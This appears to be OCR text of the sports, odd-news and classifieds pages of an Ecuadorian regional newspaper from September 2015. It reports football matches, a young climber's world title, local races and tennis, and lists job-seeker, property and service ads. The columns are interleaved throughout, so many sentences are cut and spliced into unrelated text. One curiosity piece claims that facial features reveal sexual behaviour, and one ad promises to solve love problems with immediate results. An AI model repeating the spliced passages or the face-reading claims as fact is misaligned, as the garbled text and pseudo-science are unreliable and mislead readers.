La novena fecha del torneo de fútbol, en la Serie A, continuó M. RUNA ayer en el estadio Christian Benítez, de Guayaquil. River Ecuador y Mushuc Runa empataron 2-2. Danny Lun, a los 5 minutos, y Daniel Néculman, a los 49, marcaron para el cuadro local; mientras que Juan José Govea, a los 34, y José Ardila, en propia puerta al 72, marcaron para el ‘Ponchito’. El resultado da oxígeno al cuadro tungurahuense y su

2 2

técnico, Sixto Vizuete, quien sigue al frente del equipo, según sus declaraciones al final del partido. River, que no está complicado con el descenso como su rival, dejó escapar la posibilidad de llevarse los tres puntos, pese a demostrar más en la cancha. La jugada polémica del partido se dio en el primer gol del partido. Luna recibió un pase cruzado que dominó con el pecho y su brazo para luego marcar el tanto. (WOM)

Aucas-Universidad Católica: dos equipos en racha positiva se enfrentan, desde las 12:00 de hoy, en la cancha de Chillogallo. ‘Papá’ es líder del torneo, en su segunda etapa, con 16 puntos. El ‘Trencito’, por su parte, llega a este partido cuarto con 14 unidades, producto de sus últimos cuatro triunfos. El equipo dirigido por el DT Carlos Ischia tiene la ausencia de su goleador Juan Carlos Villacrés, expulsado en el empate de la fecha pasada ante Deportivo Cuenca. El ‘Pelado’ tampoco podrá contar con Horacio Salaberry. El defensa argentino sigue en proceso de recuperación. “Todos los partidos son difíciles, trabajamos para armar el mejor equipo cada fin de semana”, dijo Ischia, quien, durante la semana, aclaró que sí

Alineaciones Aucas

vs.

S. Blázquez M. Ibarra S. Malitasig E. Carcelén D. Suárez O. Andrade C. Hurtado J. Padilla J. Rojas A. Preciado V. Estupiñán DT: Carlos Ischia

U. Católica H. Galíndez H. Prado R. Alcívar H. Cangá J. Anangonó F. Martínez J. Godoy E. Patta J. Delgado R. Ibarra F. Nieto DT: Jorge Célico

Hora: 12:00 Estadio: Gonzalo Pozo Ripalda (Quito) Árbitro: Omar Ponce

propuso venir a Juan Riquelme al equipo, pero que el ex Boca Juniors descaró esa opción. Del lado del DT Jorge Célico también hay novedades.

Vizuete: ‘No voy a abandonar al equipo’

El DT de Mushuc Runa, Sixto Vizuete, destacó el empate (2-2) ante River Ecuador. “El resultado da una pauta para mejorar. Pese a las fallas que siguen tendiendo los árbitros, Dios es justo”, destacó. Sobre su permanencia en el equipo puntualizó que: “No voy a abandonar al equipo”. (WOM)

Pizarro: ‘El que puso el fútbol fue River’

Humberto Pizarro, DT de River Ecuador, destacó que el empate de ayer (2-2) ante Mushuc Runa le deja “un sabor amargo”, ya que confiaban en ganar los tres puntos “y lo estabamos haciendo hasta esa jugada del autogol”. Argumentó que el plantel que “puso el fútbol fue River, el empate no es justo”. (WOM) BRASIL

1 0

COSTA RICA

Brasil vence a Costa Rica en amistoso

La Selección de Brasil venció 1-0 a Costa Rica ayer en un encuentro amistoso disputado en el estadio Red Bull Arena en Harrison, estado de Nueva Jersey. La anotación brasileña cayó tempranamente, en el minuto 9, gracias a un certero disparo de Hulk, que logró desequilibrar a un defensa tico y batir al portero Patrik Pemberton. (AFP)

REGULARIDAD. Aucas y U. Católica mejoraron su nivel en la segunda etapa.

Lo que nutre a un equipo son sus juveniles y nosotros los tenemos muy en cuenta”. CARLOS ISCHIA DT DE AUCAS

Hay que tomar precauciones, tratar de marcar bien y estar ordenado”. JUAN CARLOS ANANGONÓ JUGADOR DE U. CATÓLICA

Robert Arboleda se encuentra en la convocatoria de la Selección mientras que recupera al ofensivo argentino Bruno Vides, aunque no se confirmó si el entrenador lo utilice desde el minuto inicial. El zaguerio Juan Luis Anaganó adelantó que los ‘camaratas’ “saldrán a buscar el partido”, como lo han hecho en todos los encuentros. (WOM)

Granja consigue su segundo oro mundial

CrONOs

ESCALAdA

En su primer año en la división A juvenil, el imbabureño vuelve a dominar. IBARRA• El

escalador imbabureño Carlos Felipe Granja consiguió la medalla de oro en la prueba denominada ‘all around’, en el Campeonato Mundial Escalada, disputado en la localidad italiana de Arco. ‘All around’ es la sumatoria de las actuaciones en dificultad, velocidad y ‘boulder’. Granja viajó al torneo con la esperanza de repetir la proeza conseguida el año anterior, cuando consiguió coronarse como campeón mundial en la categoría juvenil B, pero esta vez en la división juvenil A, en la que hizo su primera aparición, y lo logró con creces, pues con sus actuaciones continúa ubicándose entre los mejores del mundo de la disciplina. Diario La Hora logró contactarse con los padres del destacado deportista. SU adre, Amparo López, comentó al respecto: “como madre es una emoción increíble. Pasamos mucha dificul-

tades para el viaje y la emoción tiene mayor intensidad cuando se pueden ver los sueños realizados de mi hijo. No lo puedo creer aún. ¡Gracias! por el apoyo constante…”. Su padre, Juan Carlos Granja, señaló por su parte: “estamos muy emocionados. Quizás es algo que no esperábamos y de golpe… Es difícil explicar”. La emoción en ambos era notable. Situación En una nota anterior, publicada por este Diario, el entrenador del campeón, Paúl López, había manifestado respecto a varios inconvenientes que incluían, principalmente, la falta de los recursos económicos para esta participación, que el deportista y su familia debieron sortear. “Como se recordará, luego de la consecución del campeonato mundial en septiembre del año anterior una serie de ofre-

DOMINGO 06 DE sEPTIEMBrE DE 2015

d La Hora IMBABurA-CArChI

A11

MInuTERO Cancellara no va a los Mundiales

El ciclista suizo Fabian Cancellara, perteneciente al equipo Trek, confirmó que ha decidido poner fin a su temporada y no competirá en los Mundiales de Richmond (Estados Unidos), entre el 19 y 27 de septiembre, en un final de año en el que tuvo que abandonar en la Vuelta España por problemas estomacales. EFE

CAMPEón. El imbabureño levanta su segundo oro mundial.

cimientos se le hizo a Granja al calor de la emoción del título logrado, sin embargo quedó solo en ofrecimientos…”, dijo el entrenador en esa ocasión. Recordando Granja, de 15 años, superó el año pasado, para la consecución de su primer oro mundial, con un tiempo de 8 segundos y 15 milésimas, al ruso Petr Zemliakov (segundo) y al italiano Gian Luca Zodda (tercero) en la final del mundial, por lo que en esta ocasión esperaba revalidar esa actuación. El deportista recordó que en la prueba participaron 16

competidores de todo el mundo. Agradecimientos Granja agradeció al grupo de amigos Lucio’s Boys , a Ferritechos, Star Cines y a la Federación Deportiva de Imbabura por el aporte económico que hizo posible su desplazamiento. “Estoy bastante contento y agradecido por su ayuda. Nos preparamos muy fuerte para llegar bien al torneo. Para adaptarnos al cambio de horario entrenamos en la noche en nuestro muro y espero llegar para seguir entrenando fuerte”, dijo en una entrevista anterior. (CCJW/RE)

Melissa al Mundial de Alemania Pérez se encuen°traMelissa en la ciudad de Stuttgart

(Alemania), para participar en el 34 Campeonato Mundial de Gimnasia Rítmica, que se cumple hasta el próximo 9 de septiembre. (WOM)

CRONOS A12

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora IMBABuRA-CARChI

Microbiografía

FIGuRA

Datos Estéfano Mateo ° nombres: Montoya Pinchao ° Apellidos: de práctica del tenis: 6 años ° Años Alberto y Tatiana ° Padres: ° logros: Número 1 en Pichincha

TAlEnTO. Estéfano Montoya es una figura en crecimiento en el tenis de campo.

Estéfano Montoya se proyecta en el tenis

El ibarreño de 12 años, se abre camino en el tenis nacional y busca la proyección. IBARRA• Para Estéfano Montoya, de 12 años, el tenis es un deporte que le apasiona. Desde los 6 años las relaciones cercanas de la familia, amigos de su padre…, le llevaron a involucrarse en el ‘deporte blanco’ con buenos resultados. Los entrenamientos antes los realizaba de 16:30 a 19:00, pero ahora lo hace de 15:30 a 18:00.

En su reciente trayectoria está el haberse clasificado como número 1 en Pichincha, en la categoría 12 años. Montoya, quien tuvo sus inicios en el tenis a los 6 años, comenzó a competir desde los 8, aunque en la categoría de 10 años. “Aunque no fue un inicio como el esperado la idea siempre fue ir creciendo. Gracias a esa meta que me puse en la

mente fui obteniendo mejores resultados”. El ibarreño agregó que el apoyo de su familia es muy importante. “Es claro cómo el apoyo de mi familia influye en mi rendimiento. Me apoyan muchísimo y me siento feliz por ello, quieren que sea alguien en la vida, verme grande en el tenis y gritar juntos al verme conseguir lo anhelado”. “Antes era mucho más talentoso”, confesó el jugador, quien afirmó que antes tenía mejores resultados. “Ahora no estoy en un excelente nivel. Estoy teniendo un buen juego pero aún no

me siento al 100%. Tuve un bajón –confesó- debido a una eliminación en primera ronda en Guayaquil, algo que me afectó muchísimo, de lo cual me estoy recuperando…”. En la cancha “Inteligente, técnico y talentoso…”, así lo definió Juan José Naranjo, su entrenador. Por su parte, Montoya se autodefinió fuera de la cancha como un muy buen hijo. “Me gusta siempre poner en práctica los valores que me han enseñado mis padres”. Montoya, quien se confesó como seguidor de grandes de-

portistas a nivel mundial, comentó que le afectó mucho la lesión de Antonio Valencia, el bajón de Rafael Nadal… “Ahora Nadal ya no es como era antes. Admiro mucho a Roger Federer y quisiera saber cómo hace para mantenerse en muy buena forma y ganando torneos muy importantes de la ATP”. Mensaje a la juventud “Que practiquen más. Que el deporte es bonito, es lindo entrenar y proponerse metas, pero hay que esforzarse todos los días para llegar a ser un grande”, finalizó. (CCJW)

Hoy se corre el 4x4x4 sencia de público se ha hecho el diseño de dos puentes de acceso peatonales al área de parqueadero, que tendrá una capacidad para 400 vehículos. Agregó que luego de las dos válidas anteriores, se lograron los cinco primeros puestos con el competidor otavaleño Rene Espín y que para esta competencia se tiene confirmada la presencia de 15 máquinas que vienen de Imbabura, Carchi y Pichincha.

Francisco Macas, vicepresidente de Esaco, presentó del afiche promocional, señalando que es un aporte y colaboración del Joffre Mena y las empresas auspiciantes. “En este material se encuentran algunas máquinas que representan a Otavalo, en la tercera válida del 4x4x4”. Finalmente, el alcalde Gustavo Pareja expresó que, “como Municipio siempre estaremos prestos para apoyar toda esta gran iniciativa de los organiza-

PREsEnTACIón. Los organizadores de este evento dieron a conocer detalles del evento.

dores y como no resaltar que naciendo este deporte aquí se ha ido multiplicando en otros sectores del país. Tenemos que

seguir dándole todo el aporte y esfuerzo para que estos eventos sean fundamentales en la vivencia de los otavaleños”. (PMHR)

Agenda barrial Partidos para hoy Interligas de fútbol femenino Estadio Jesús del Gran Poder Hoy Alpachaca vs. Otavalo ° 09:00 ° 11:00 San Antonio vs. Las Palmas Campeonato Juego limpio Canchas de Pilanquí LD.U. vs. Real Madrid ° 11:00 Liverpool vs. Incógnitos ° 12:00 Conamin vs. Siruba ° 13:00 14:00 Union Juveniil F.C. vs. Conamin °(Damas) Maracacibo vs. The Star (Damas) ° 15:00 La people vs. Barza ° 16:00 La people vs. Las pésimas (Damas) ° 17:00 18:00 Corinthians vs. Amigas por siempre °(Damas) Galacticas vs. Las Divinas (Damas) ° 19:00 Galacticos vs. Los pésimos ° 20:00 ° 21:00 Los niches vs. Independiente

P:F/35430

OTAVAlO• La Escudería Automovilística Ciudad de Otavalo (Esaco) dio a conocer detalles acerca de la competencia del 4x4x4, que se efectuará hoy en la pista Montañita, sector Gualsaquí. Rommel Villota, de la comision técnica de Esaco, dio a conocer el informe técnico de esta competencia, indicando que la pista tiene un trazado de 1.680 metros, con 9 fosas de enfriamiento, 13 montículos, 3 cruces de río y para precautelar la pre-

Campeonato de Fútbol Master Estadio simón Bolívar Cruzeiro vs. Montúfar ° 13:00 ° 15:00 Egas Grijalva vs. Pon Mil

Interligas de fútbol sénior Masculino Estadio de Quiroga Amazonas vs. Frigo fama ° 13:00 15:00 Huracán vs. Juvenil °Quichinche Estadio san Vicente

15:00 Deportivo Natabuela vs. °Avellaneda Estadio de Otavalo

° 13:00 Shyris vs. Halcones Estadio de san Blas

11:00 Agrícola San Blas vs. °Deportivo Ibarra 13:00 Nueva generación vs. °Estrella Juvenil Estadio de Azaya

11:00 Maracaybo vs. Unión °Deportiva Juvenil(UDJ) Estadio de san Antonio

° 13:00 Chacaritas vs. Mandela

CRONOS A13

DOMINGO 06 DE SEPTIEMBRE DE 2015

d La Hora IMBABuRA-CARChI

minuTero carrera

Espejo: atletas inauguran las fiestas

messi: ‘Inconcebible’ situación de refugiados El astro mundial de fútbol °Lionel Messi calificó como

aTLETIsmo. Deportistas ecuatorianos y colombianos participaron en esta prueba.

Los deportistas se tomaron las calles de El Ángel para ser protagonistas de la 10K El atletismo puso la nota de festividad en la capital del cantón Espejo. Decenas de deportistas de diferentes sectores de la provincia de Carchi acudieron hasta la ciudad de El Ángel para ser protagonistas de la 10k, que se desarrolló ayer. Los niños y niñas fueron los primeros en entrar en acción, luego los prejuveniles y finalmente los juveniles, sénior, máster, todos buscaron ser los protagonistas de esta competencia. Esta carrera atlética que se desarrolló en la “ciudad más cercana al cielo” partió desde el parque principal, en las afueras del Municipio local y luego avanzó por la Abahan Herrera, EL ÁNGEL•

la Avenida Panamericana, la Bolívar, la Sucre, Montúfar y luego ingresar a la Esmeraldas. En la categoría Infantil, los padres de familia vivieron otra carrera. Ellos acompañaron a sus vástagos durante el recorrido apoyándolos para que lleguen a la meta. Ya en la categoría Élite participaron únicamente hombres, quienes cumplieron con los diez kilómetros de recorrido. En este pelotón, sin mayor esfuerzo, alcanzó la victoria Diego Ortega, un deportista oriundo de este sector y que representó a la Universidad Politécnica Estatal del Carchi. Luis Palacios, de 53 años de edad, luego de recorrer a pie las

Camiones y tractores estarán en la pista EL ÁNGEL• Piques de camiones y habilidades de tractores se desarrollará este domingo, desde las 10:00, evento que se efectuará en la pista de deportes extremos Hurinsuyo, de la ciudad de El Ángel. La primera prueba será de los tractoristas, que en una longitud de 50 metros, aproximadamente, demostrarán las destrezas y habilidades en el manejo de la maquinaria agrícola. Luego vendrá la participación de los camioneros, quienes, de igual modo, pondrán a

gente”.

“El atletismo me permitido hacer amistad con mucha

LuIs paLaCIos

DEPORTiSTA DEL CANTóN MiRA

“El deporte me libra del estress y me permite seguir adelante”. jEffErsoN pérEz

ATLETA DEL CANTóN ESPEJO

calles de Mira vendiendo leche, acudió a la competencia que dio inicio a partir de las 11:00, para alcanzar el segundo lugar en la categoría Máster. El deportista mostró conformidad con el trazado de la pista, donde tuvieron que sortear planadas, subidas y bajadas. El viento fue uno de los principales

Ganadores Carrera atlética pre Infantil Minchala (hombres) ° Sebatian ° Eliana Vizcaíno (mujeres) prejuvenil

Guerrero (Hombres) ° Marco ° Virigina Manosalvas (Mujeres) juvenil

° Jefferzon Pérez sénior

° Diego Ortega máster

° Gerardo Molina. obstáculos para los atletas, sin embargo vencieron y llegaron a la meta. El evento fue organizado por la Liga Deportiva cantonal de Espejo y el Municipio local. Los ganadores al término de la prueba recibieron los premios económicos que fueron entregados por los organizadores. (RCJC)

Circuito ciclístico urbano se realizará en El Angel EL ÁNGEL• Las principales calles

CompETENCIa. Este domingo, en la pista de deportes extremos de El Angel, se realizarán dos pruebas de habilidad y fuerza de motores.

prueba la habilidad frente del volante y la capacidad del motor del automotor. Este evento es organizado por las asociaciones de camioneros y tractoristas del cantón Espejo. Los participantes podrán inscribirse antes del inicio de la competencia. (RCJC)

de la capital del cantón Espejo se convertirán en una pista para la competencia ciclística urbana. Se ha trazado el escenario y la prueba se desarrollará en un circuito, que dará inicio desde el parque principal de esta jurisdicción.

“inconcebible” la situación por la que atraviesan miles de refugiados en Europa, en un mensaje este viernes a través de su perfil de Facebook. “Este tipo de cosas deberían ser inconcebibles en pleno siglo XXI”, escribió. aFp

En esta carrera podrán participar pedalistas infantiles, prejuveniles, juveniles y sénior. Los ganadores de esta competencia recibirán premios económicos. El evento deportivo es organizado por Liga Deportiva cantonal de Espejo.(RCJC)

Honduras golea 3-0 a Venezuela

La Selección de fútbol de °Honduras goleó 3-0 a su similar de Venezuela. La ‘H’ abrió el marcador al minuto 55 con un derechazo desde fuera del área de Erik Andino, y amplió la ventaja en el 73 con un cabezazo de Román Castillo tras un centro cruzado desde la izquierda. El gol que cerró el marcador fue obra de Emilio Izaguirre de penal a los 85. aFp

alemania se toma la revancha ante polonia Alemania, vigente cam°peona mundial, se vengó de

compeTencia. Desde el parque central de El Angel iniciará la competencia ciclística.

Polonia y venció 3-1 con un doblete de Mario Gotze, que le sirve para alcanzar el liderato del grupo D, este viernes en el partido más destacado de la séptima jornada de clasificación para la Eurocopa. aFp

CYAN MAGENTA YELLOW BLACK

CuRIOSO A14

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora IMBABuRA-CARChI

VIraL. La grabación casera muestra en un minuto la inocencia del niño divirtiéndose con el pequeño animal.

Sacerdote arrestado por robar ropa interior al parecer, el acusado suele vestirse con lencería femenina. PErIODISMO.COM/MLY • Shoden Yamazaki, un ex monje del templo budista Choshoji Buddhist en Akita, (Japón) fue acusado por robo de medias nylon femeninas. Esta no es la primera vez que tiene problemas con la Ley. Durante la investigación del robo se descubrió que Yamazaki había comenzado su carrera delictiva a los 19 años. Su pasión por el hurto de ropa interior continuó aun estando casado (los sacerdotes budistas en Japón si pueden contraer matrimonio, al contrario de los católicos). En 2006, al asumir su car-

go como sacerdote en el Templo Choshoji, nadie sospechaba de su doble vida. Sin embargo, todo indica que no solo continuó robando lencería de mujer, sino que además comenzó a usarla, vistiéndose de mujer, con tacos altos incluidos. Al parecer, Yamazaki salió de su casa en la ciudad de Yurihonjo el pasado mes de junio, e hizo una parada para cambiar su atuendo por vestido y tacos altos. Luego siguió su camino hacia el centro de la ciudad, y en una parada del semáforo visualizó un corpiño y unas pantimedias que colgaban de una ventana. Sin dudarlo Ya-

mazaki tomó las prendas y salió corriendo, y probablemente hubiera salido impune del atraco, sino hubiera sido por los tacos, que le jugaron una mala pasada. Desde el interior del apartamento, el esposo de la dueña de la ropa interior escuchó el ruido de los zapatos, y al ver una figura sospechosa comenzó a gritarle, y como el ex monje seguía corriendo, llamó a la Policía. Luego fue arrestado y obligado a renunciar a su cargo como sacerdote en el templo. En el juicio se declaró culpable y declaró “es peligroso dejar la ropa interior colgada en la calle en medio de la noche, por eso la robé, para enseñarle una lección”, afirmó Yamazaki, cuya sentencia podría llegar a un año de prisión.

Niño se divierte con un gorila en el zoológico

LaPaTILLa.COM/MLY • Un niño llamado Isahiah, de aproximadamente 3 años de edad, visitó un zoológico ubicado en el estado de Ohio, al este de Estados Unidos, sin imaginar la sorpresa que se llevaría al encontrarse con un simpático simio. El menor se acercó a una zona donde se encontraba una familia de gorilas, y uno ellos sin pensarlo inició el juego. La madre de infante grabó el emocionante momento y lo subió al portal de YouTube, y en menos de una semana, la cinta alcanzó un alto nivel de popularidad. Al momento el video cuenta con más de un millón y medio de visitas.

¿Tu rostro revela cómo eres en el sexo?

LaPaTILLa.COM/MLY • Tu cara y apariencia se refleja en la impresión que dejas ante la gente que te rodea. Tus gestos, expresiones y rasgos revelan varios aspectos de tu personalidad, estado de ánimo y salud, pero también te dice cómo eres en la intimidad! Un estudio, realizado por Tracey Cox, afirma que si tienes una boca grande gozas de gran placer. Los labios carnosos son típicos de un espíritu aventurero, con tendencias hacia la infidelidad. Pero si es pequeña tiendes a ser muy creativa y a alcanzar muy rápido el orgasmo. La forma de la nariz fina y puntiaguda delata que gozas del amor y te desinteresas de experimentar aventuras eróticas.Todo lo contrario sucede con personas con una nariz irregular. A ellas les encanta el sexo y tenerlo en todo momento y en cualquier lugar. El color de ojos también influye. Si los tuyos son claros, entonces disfrutas del erotismo rápido y con diferentes niveles de excitación. Mientras que aquellos que tienen ojos con colores oscuros expresan más pasión en el acto.

Una consola de juegos que desafía tus habilidades

PLaNETaCUrIOSO.COM/MLY • El ingeniero de redes, Jason Camberis de 44 años, establece un nuevo récord mundial por crear la maquina arcade -multijuegos más grande del mundo. Este novedoso aparato mide más de cuatro metros de altura y contiene alrededor de 200 juegos clásicos como Pacman y Dragon Spirit. Este artefacto es tan grande, que los jugadores se ven obligados a subir por unas escaleras que salen desde el fondo para poder alcanzar los controles. El estadounidense tardó un poco más de dos años en diseñar este innovador instrumento que estará disponible en Guinness World Records 2016 Edición Gamer. Además, los usuarios de redes sociales, se han manifestado con gran expectativa con diferentes etiquetas referentes al tema. En un video colocado en el portal de YouTube, que cuenta con más de ocho mil visitas, se muestra el manejo de este moderno y curioso objeto.

NORTE

IBARRA: Mejía 3-50 entre Sucre y Rocafuerte

NEGOCIOS VARIOS Compra/venta de objetos, electrodomésticos, muebles, equipos de oficina, etc.

BIENES RAÍCES

TULCÁN: Sucre 52-072 entre Ayacucho y Junín, 2do. piso

Compra/venta/renta de terrenos, casas, departamentos, oficinas y otros

SECCIONES DE CLASIFICADOS

DESEO TRABAJAR EN:

CHOFER LICENCIA TIPO “B”, busca trabajo o ayudante de bodega, vendedor, repartido de productos, lavado secado y cambio de aceite de autos. Telf. 0991192985.

DJ ANIMADOR DE EVENTOS, busca trabajo o guardia de seguridad, auxiliar de informática, ventas, atención al cliente, bodeguero. Telf. 0981360691.

CHOFER TIPO “C”, busca trabajo o perchero, vendedor, atención al cliente, mensajero. Telf. 0995581137.

SICÓLOGA INDUSTRIAL, busca trabajo o secretaria, atención al cliente, asistente administrativo, recursos humanos Telf. 0980796401/ 062615489.

CHOFER LICENCIA “A” Y “B”, busca trabajo o guardia de seguridad, mensajero, atención al cliente, mecánica de carros, lavado, secado y cambio de aceite de autos Telf. 0967009103/ 062546725.

CASAS y TERRENOS

EN TULCÁN

Vendo casa rentera, esquinera de estilo colonial a pocos pasos de la Fiscalía y el parque Isidro Ayora. Inf: 0993922654. P37426/ai

vENdo TErrENo

De 1.500 m², en Cananvalle a 5 minutos de la ciudad de Ibarra. Urbanizado, todos los servicios. 0997768967 Claro.

PRODUCTOR DE AUDIO, busca trabajo para radio o discoteca, atención al cliente, mensajero, guardia de seguridad, dj, repartidor de productos Telf. 0968038627/ 0969894928.

vENdo CaSa

En la entrada a Ibarra, Ejido de Ibarra, Av. Mariano Acosta sin intermediarios, ideal para negocio, todos los servicios. USD 115.000. 0997768967 Claro. P37430/ai

vENdo UN LoTE

De terreno de 1.500m² en Chaltura - San Vicente - Obispo Pasquel Monge, comunicarse a los teléfonos: 0992350845/ 0991867035. P37412/ai

P37430/ai

P37188/ai

P37393/ai/kc

VENDE CASA CONJUNTO CATANIA

EL PRIMER EDIFICIO INTELIGENTE DE LA CIUDAD IBARRA

Sector San Camilo, Parroquia de Calderón

MESERA, busca trabajo o cajera, cuidado de niños, ventas, atención al cliente, o para guarderías Telf. 0983538581

CAJERA, busca trabajo o recepcionista, atención al cliente, ventas, secretarias, asistente administrativo Telf. 0969462420/0986337742.

ESTIMULACIÓN TEMPRANA, busca trabajo o en centros infantiles, guarderías, cuidado de adulto mayor, terapia integra, física, auxiliar de enfermería, primeros auxilios Telf. 062547164/0988593313.

GUARDIA DE SEGURIDAD, busca trabajo, para florícolas, mensajero, cobrador, bodeguero, jardinero licencia tipo “A” posee moto Telf. 0997316070/ 062939334.

DE OPORTUNIDAD, se vende dos monturas completa de cuero nueva por estrenar Telf. 0992938203

ATENCIÓN AL CLIENTE, busca trabajo o limpieza de casas, para entregar volantes Telf. 0969166287.

arriENdo

Casa, 3 dormitorios con garaje, los Ceibos. $180.oo. 1 oficina central 2do piso Bolívar, junto a Bco. Pichincha. Inf: 0983952166. P37390/ai

arriENdo LoCaL

Comercial a 50m de la Universidad Uniandes, Flores 3-59 entre Maldonado y Salinas. Inf: 2954894/ 0991683929. P37431/ai

AYUDANTE DE COCINA, busca trabajo o empleada doméstica, limpieza de casas, oficinas, cuidado a personas mayores Telf. 09988463374/ 062637034.

Borrero 5-47 entre Bolívar y Sucre. Informes: Sucre 5-44 frente al Parque Pedro Moncayo. P37226/ai

ARRIENDO LOCAL COMERCIAL

NECESiTa

Excelente ubicación, Av. Critóbal de Troya y Fray Vacas.

Transportar, distribuir sus productos? Ponemos a su servicio vehículos con furgón. Informes: 0998005457. P37376/ai

CHOFER LICENCIA TIPO “C”, busca trabajo o ventas, atención al cliente Telf. 0992658104.

SERVICOS A DOMICILIO, busca trabajo licencia tipo “A” dispone de moto, guaria de seguridad en horario EMPLEADA DOMÉSTICA, busca nocturno Telf. 0994653730. trabajo, niñera, atención al cliente, mesera, camarera Telf. 0999545971 GUARDIA DE SEGURIDAD, busca NIÑERA, busca trabajo o servicio trabajo o atención al cliente, ventas, doméstico, limpieza de casas, bodeguero, mensajero, despachador de productos. Telf. 0939374113. oficinas. Telf. 0967088756.

oPorTUNidad

por motivo de viaje, se vende negocio “Café Restaurante”, equipado, con clientela, en la Borrero 3-69 y Rocafuerte. Informes: 2608823/ 0996150958. P37382/ai

Ubicación privilegiada

* Centro histórico de Ibarra

Financiamiento del

70%

Información: 2444-295 /2920-252 / 0999-044-093

nramirez@mutualistaimbabura.com

Excelentes acabados 3 dormitorios tipo suite 2 baños y medio* Sala * Comedor Patio privado* Estacionamiento Ascensor inteligente

INFORMES:

(06)953300 ext. 17 . 22 y 11

vnavarrete@mutualistaimbabura.com

Arriendo amplio local en área libre de 227mts con dos baños y línea de teléfono, apto para oficinas, academia, centro de estudios, spa, etc.

SiEMBro CÉSPEd

Plantas ornamentales, frutales y mantenimiento de jardines: 0993506968. P37405/ai Agradece al niño de Praga, por los favores recibidos, que le hice la Novena en la cual decía, confío en ti, Mi Dios, Padre, Hijo y Espíritu Santo con todas mis fuerzas, les pido que me conceda la gracia que tanto deseo.

¡oJo!

Realizo trabajos de siembra de césped al x mayor y menor y diseño de jardines con plantas ornamentales o frutales. Informes: 0968316223. P37406/ai

SU DEVOTO: A.R. P36911/ai

NECESiTa

Transportar, distribuir sus productos? Ponemos a su servicio vehículos con furgón. Informes: 0998005457. P37377/ai

VARiOS

EN EL CENTRO DE LA CIUDAD

CoMaNdo ParaCaidiSTa

Inf: 0996957359 0983502105

De las Fuerzas Especiales, con título profesional, con 40 años de experiencia, adiestro toda clase de perros, no se deje engañar por falsos adiestradores. Por vacaciones doy hospedaje, baño, cepillaje y corte de uñas para sus perritos. Teléfonos: 2652-359 / 0986585383. P37247/ai

P37389/ai

SUS AVISOS CLASIFICADOS Y JUDICIALES, YA ESTÁN EN LA RED

ENTRA Y DESCUBRE

A15

SOLDADOR CON EXPERIENCIA, CHOFER LICENCIA TIPO “C”, en estructuras metálicas busca trabajo busca trabajo para manejar taxi, para dentro o fuera de la ciudad Telf. soldador Telf. 0984710901 0986961599.

P37260/ai

2DEPARTAMENTOS

DOMINGO 06 DE SEpTiEMBRE DE 2015 La Hora iMBABuRA-CARChi

CUIDADO A ADULTOS, o niños RECEPCIONISTA, busca trabajo o busca trabajo, limpieza de casas, secretaria, ventas, atención al cliente, oficinas. Telf. 3016728/ 09796633134. para asilo de ancianos, auxiliar de oficina Telf. 0986323211.

arriENdo

Amplias habitaciones en 2 patios, bonito lugar, apto para empresas, guarderías, instituciones educativas, hostal etc. Flores 4-73 entre Maldonado y Salinas. 0991683929/ 2954894. P37231 /ai

EmplEOS

INF: 0980064163

3 dormitorios en 3 plantas Área de terreno 154 m2 Área de construcción 144,22 m2.

PLOMERO, busca trabajo o jardinero, mantenimientos de motos, soldador, auxiliar de oficina, atención al cliente. Telf. 0979573181

dEParTaMENTo dE arriENdo

ARRiENdOS

P37057/ai

P37388/ai

2984646 - 2984551

EMPLEOS

Puestos, oportunidades de trabajo

MULTIEMPLEOS

AViSOS

2607625 - 2956502 - 2612661

EN TULCÁN

Vendo hermoso mini departamento en el mejor lugar de Tulcán, ubicado en la calle Italo y Av. Universitaria, a una cuadra de la Universidad (esq), Sector UPEC. Mayore informes al 2236 148 / 0994579399 / 0983056864. P15798/at

P37403/at P-210538/MIG

CYAN MAGENTA YELLOW BLACK

SOLUCIONO TODO PROBLEMA SENTIMENTAL UNO PAREJAS, NOVIOS, Y SEPARADOS ARREGLO DIVORCIOS, ATRAIGO LA PAREJA SIN CAUSARLE DAÑO.

RESULTADOS INMEDIATOS

NORTE

CYAN MAGENTA YELLOW BLACK

AvisOs A16

domingo 06 DE sEPTiEMBRE DE 2015 La Hora iMBABuRA-CARChi

Si no ayudas a limpiar no ayudes a ensuciar.

ANTES

Campaña de limpieza por la Ciudad de Tulcán Fertilizantes Fungicidas Insecticidas Herbicidas

ÚLTIMOS DEPARTAMENTOS EN IPIALES COLOMBIA CONJUNTO RESIDENCIAL PANAM, APROVECHE EL CAMBIO DEL DÓLAR DESDE 44.600 HASTA 48.200 US. A 150 M. DEL NUEVO CENTRO COMERCIAL GRAN PLAZA, TOTALMENTE TERMINADOS INCLUYE PARQUEADERO CUBIERTO, LINDAS ZONAS COMUNES .

• Nariz bonita sin cirugía (200 USD). • Rejuvenecimiento facial y cicatrices de acné con láser CO2. • Plasma rico en plaquetas y plasma gel (redibuja tu contorno facial). • Inyecciones antienvejecimiento. • Manchas, barros, espinillas, arrugas, hongos de piel y uñas, extracción de lunares.

ASESORAMIENTO TÉCNICO GRATUITO

P37331/ai

INFORMES: (0057)3174274291- 3174267573 INF. FACEBOOK. AyM constructora SAS.

ESTÉTICA MÉDICA LÁSER SPA

DR. FAUSTO FAJARDO RIOFRÍO

Plantas frutales Semillas Productos veterinarios Germinación de semilla

Av. Eugenio Espejo C.C. Ferro Norte y Obispo Pasquel Monje local 15 y 16 Teléfonos: 0983358300 / 062610208 email: nutricampoandres@hotmail.com

DESPUÉS

P37435/ai

Flores 359 entre Maldonado y Salinas ATENCIÓN: LUNES A SÁBADO 08h00 - 13h00 y de 15h00 - 21h00 Teléfonos: 2954894 / 0991683929 P37431/ai

SE NECESITA

L AU N D RY LAVADO, SECADO Y DOBLADO DE SU ROPA

HORARIO DE ATENCIÓN:

Mensajero/ repartidor para importante empresa de telemercadeo, con moto propia y todos los papeles en regla, enviar CV a: talento.humano@mww.com.ec preferible experiencia en cargos similares

P37416/ai

P37435/ai

DE LUNES A SÁBADO DE 8 AM A 8 PM

Preparación de colores en poliuretanos, lacas, sintéticos, esmaltes, cauchos, látex en las mejores marcas, thinner, lijas, wypes, estuco, resina, carbonato, yeso, albalux

JUNTO A LUBRICANTES DON NABOR

TELÉFONO: 2610 493 CECULAR: 0994406377

P37435/ai

DIRECCIÓN: SUCRE # 13-55 Y ROSALÍA ROSALES

¡AHORA, LA ROPA SUCIA YA NO SE LAVA EN CASA!

DISTRIBUIDOR EXCLUSIVO DE PINTURAS

